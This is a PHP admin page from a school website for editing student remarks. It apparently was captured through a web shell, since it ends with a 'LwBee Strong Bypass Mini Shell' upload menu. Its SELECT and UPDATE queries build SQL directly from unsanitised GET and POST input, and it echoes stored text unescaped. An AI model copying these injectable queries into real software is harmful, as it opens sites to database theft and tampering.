/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/Remarks_edit.php
<?php
session_start();
$_SESSION['active'] = 'remarks_edit';

 include('include/header.php'); 

 

 if(!empty($_GET['edit'])){
    
    $select_remarks = executework("SELECT * FROM student_remarks where id = '".$_GET['edit']."'");
    $row = mysqli_fetch_array($select_remarks);
 }
 if(!empty($_POST['submit'])){
    $update_data = executework("UPDATE student_remarks set name= '".$_POST['Activity_name']."',update_date = '".date('Y-m-d H:i:s')."' where id = '".$_POST['edit_data']."'");
    if($update_data){
    redirect('student_profile.php?rem=1');
    
  }
  
}

?>
<main id="main" class="main">

<div class="pagetitle">
  <h1>Apple IIT Schools</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item ">Remarks Edit</li>
    </ol>
  </nav>
</div>
<section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Remarks Edit</h5>





    <form  method="post" onsubmit="return book_validation()"> 
      <div class="row">
          <div class="col-md-6">
            <label for="exampleInputEmail1" class="form-label">Remarks Name</label>
            
             <textarea  id="Activity_name" name="Activity_name" rows="5" cols="150" class="form-control" placeholder="Please Enter Remarks"><?= ucfirst($row['name'])?></textarea>
            
        </div>
      <input type="hidden" name="edit_data" value="<?= $row['id']?>">
      </div>
        <div class="mt-4">
        <input type="submit" class="btn" value="Update" name="submit" style="background-color: #69F0AE; color: #000000;">
        </div> 
    </form>
             
    

     </div>
          </div>

        </div>
      </div>
    </section>
  
   

</main><!-- End #main --> 

<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  
 
 <?php include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File